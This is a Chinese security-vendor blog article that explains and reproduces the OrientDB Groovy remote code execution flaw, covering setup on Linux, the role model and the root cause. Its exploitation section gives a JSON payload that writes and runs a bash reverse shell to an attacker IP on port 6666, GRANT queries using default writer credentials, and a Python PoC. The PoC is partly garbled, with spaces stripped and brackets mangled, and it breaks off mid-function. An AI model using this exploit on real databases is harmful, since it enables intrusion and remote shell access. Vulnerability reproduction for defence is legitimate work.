美创科技打造县域医疗灾备新标杆|神木市医院 HIS 系统数据库分钟级切换演练实录
2025-07-02
百万罚单警示!DCAS助力金融机构筑牢数据安全防线,实现监管合规
2025-06-20
2025中国互联网产业年会丨《中国互联网产业绿色算力发展倡议》正式发布
2025-02-07
美创用户专访 | 精细化管理:医疗行业数据分类分级的策略与实践
2025-01-10
容灾演练双月报|美创助力某特大型通信基础设施央企顺利完成多个核心系统异地容灾演练
2025-01-10
存储域
数据库加密 诺亚防勒索访问域
数据库防水坝 数据库防火墙 数据库安全审计 动态脱敏流动域
静态脱敏 数据水印 API审计 API防控 医疗防统方运维服务
数据库运维服务 中间件运维服务 国产信创改造服务 驻场运维服务 供数服务安全咨询服务
数据出境安全治理服务 数据安全能力评估认证服务 数据安全风险评估服务 数据安全治理咨询服务 数据分类分级咨询服务 个人信息风险评估服务 数据安全检查服务NoSQL数据库的市场越来越大,越来越多地被使用,一有“风吹草动”就能掀起不小的波澜。前不久,网上爆出了关于OrientDB数据库远程代码执行的漏洞。这个支持分布式NoSQL数据库的漏洞,一经爆出就闹得人心惶惶,引起了众多关注。接下来就跟着小编一起来研究一下这个备受瞩目的漏洞到底是何方神圣?!
一、何为NoSQL
NoSQL数据库提供了一种用于存储和检索引用除表式数据之外的数据(例如文档数据或图形数据)的NO关系或非关系数据的机制,越来越多地用于大数据和实时Web应用程序。NoSQL系统有时也被称为“Not Only SQL”,以强调它们可能支持类似SQL的查询语言。OrientDB就是用Java编写的开源NoSQL 数据库管理系统。
二、搭建OrientDB 数据库环境
Step1 下载OrientDB二进制设置文件
OrientDB是由Java编写的,所以可以在任何实现Java虚拟机(JVM)的操作系统上运行。但由于此漏洞存在与低于2.2.27的版本,小编找到的符合条件的安装包只有Linux版本,故以下的安装方式皆建立在Linux版本上。OrientDB需要1.7或者更高版本的Java。文件下载地址:https://orientdb.com/download.php?file=orientdb-community-2.1.9.tar.gz
Step2 解压安装OrientDB
在Linux中将orientdb-community-2.1.9.tar.gz文件解压,可以使用以下命令提取tarred文件。
$ tar –zxvf orientdb-community-2.1.9.tar.gz
使用sudo将所有OrientDB库文件从orientdbcommunity-2.1.9移动到/opt/orientdb/目录。
$ sudo mv orientdb-community-2.1.9 /opt/orientdb
注册OrientDB命令和orient服务器。
$ export ORIENTDB_HoME = /opt/orientdb$ export PATH = $PATH:$ORIENTDB_HOME/bin
Step3 配置OrientDB服务器
编辑$ORIENTDB_HOME/bin/orientdb.sh的bin目录下的orientdb.sh的脚本文件。需要修改两个变量,一个是OPIENTDB_DIR,该变量定义了安装目录/opt/orientdb的路径,第二个是ORIENTDB_USER,它定义了要运行OrientDB的用户名。
ORIENTDB_DIR = "/opt/orientdb"
ORIENTDB_USER = "
将orientdb.sh文件复制到/etc/init.d/目录中以初始化和运行脚本,这里需要提供超级用户密码。
$ sudo cp $ORIENTDB_HOME/bin/orientdb.sh /etc/init.d/orientdb
将console.sh文件从OrientDB安装目录$ ORIENTDB_HOME / bin复制到系统bin目录(即/user/bin)以访问OrientDB的控制台。
$ sudo cp $ ORIENTDB_HOME/bin/console.sh /usr/bin/orientdb
启动OrientDB数据库服务器作为服务,在这里必须提供在orientdb.sh文件提及启动服务器的相应用户的密码。
$ service orientdb start
可以用下面的命令查看哪个PID的OrientDB服务器程序正在运行。
$ service orientdb status
也可以使用以下命令停止OrientDB服务器程序。
$ service orientdb stop
Step4 验证OrientDB安装
在上述步骤中我们已经成功在Linux中安装了OrientDB数据库,但是是否能成功运行需要我们再加验证。
运行服务器:按照一下命令启动服务器。
$ cd $ORIENTDB_HOME/bin
$ ./server.sh
或者直接将OrientDB服务作为Linux的服务进程开启。
$ service orientdb start
若我们安装成功,将会显示如下的输出。
漏洞分析
1、OrientDB使用的RBAC模型进行认证。默认情况下,OrientDB有三个角色:admin,writerandreader。对于在服务器上创建的每个数据库,默认情况下会分配三个用户。
2、用户的权限分配如下:
Admin:访问数据库上所有的功能,没有任何限制。
Reader:只读,读者可以查询数据库中的任何记录,但不能修改或删除,也不能访问内部信息。
Writer:与reader相同,但它可以创建,更新和删除记录。
3、漏洞产生原理
OrientDB其默认配置admin、reader和writer三个角色,在处理where”或“fetchplan”或“order by”函数时,由于在OrientDB中有一个执行groovy函数,groovy包装类没有沙箱,暴露了系统函数,因此我们可以运行我们想要的任何命令。
漏洞复现
1、 由返回头确定版本号。
2、 访问http://Taarget:2480/listDatabases 通过起返回的json列表获取数据库名称。
3、 使用writer的身份尝试Http基础认证,看是否对数据库可写。如果可写,则证明漏洞存在。
1) 检测是否可以作为特权账户操作数据库
2) 检测是否能启用功能操作
3) 检测是否有系统的访问权限
验证方法如下:
Payload: http://www.freebuf.com/command/%60database_name%60/sql/-/20?format=rid,type,version,class,graph
以POST的方式请求如下数据:
GRANT execute ON database.class.ouser TO writer
GRANT execute ON database.function TO writer
GRANT execute ON database.systemclusters TO writer
成功执行后则证明可以利用。
给出exp:
{
"@class":"ofunction",
"@version":0,"@rid":"#-1:-1",
"idempotent":null,
"name":"'' + func_name + ''",
"language":"groovy",
"code":"def command = \'';& /dev/tcp/'' + reverse_ip + ''/6666 0>&1\'';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\n\");file << (command);def proc = \"bash hello.sh\".execute();"
"parameters":null
}
在目标用bash反弹,本地用nc监听,运行如下命令:netcat-lp6666
最后给出PoC:
# OrientDB <= 2.22 RCE PoC
importsys
importrequests
importjson
importstring
importrandom
target="192.168.201.48"
#port = sys.argv`1` if sys.argv`1` else 2480
try:
port=sys.argv`2`ifsys.argv`2`else2480
#print port
except:
port=2480
url="http://%s:%s/command/GratefulDeadConcerts/sql/-/20?format=rid,type,version,class,graph"%(target,port)
defrandom_function_name(size=5,chars=string.ascii_lowercase+string.digits):
return''''.join(random.choice(chars)foriinrange(size))
defenum_databases(target,port="2480"):
base_url="http://%s:%s/listDatabases"%(target,port)
req=requests.get(base_url)
ifreq.status_code==200:
#print "`+` Database Enumeration successful"
database=req.json()`''databases''`
returndatabase
returnFalse
defcheck_version(target,port="2480"):
base_url="http://%s:%s/listDatabases"%(target,port)
req=requests.get(base_url)
ifreq.status_code==200:
headers=req.headers`''server''`
#print headers
if"2.2"inheadersor"3."inheaders:
returnTrue
returnFalse
defrun_queries(permission,db,content=""):
databases=enum_databases(target)
url="http://%s:%s/command/%s/sql/-/20?format=rid,type,version,class,graph"%(target,port,databases`0`)
priv_enable=`"create","read","update","execute","delete"`
#query = "GRANT create ON database.class.ouser TO writer"
forprivinpriv_enable:
ifpermission=="GRANT":
query="GRANT %s ON %s TO writer"%(priv,db)
else:
query="REVOKE %s ON %s FROM writer"%(priv,db)
req=requests.post(url,data=query,auth=(''writer'',''writer''))
ifreq.status_code==200: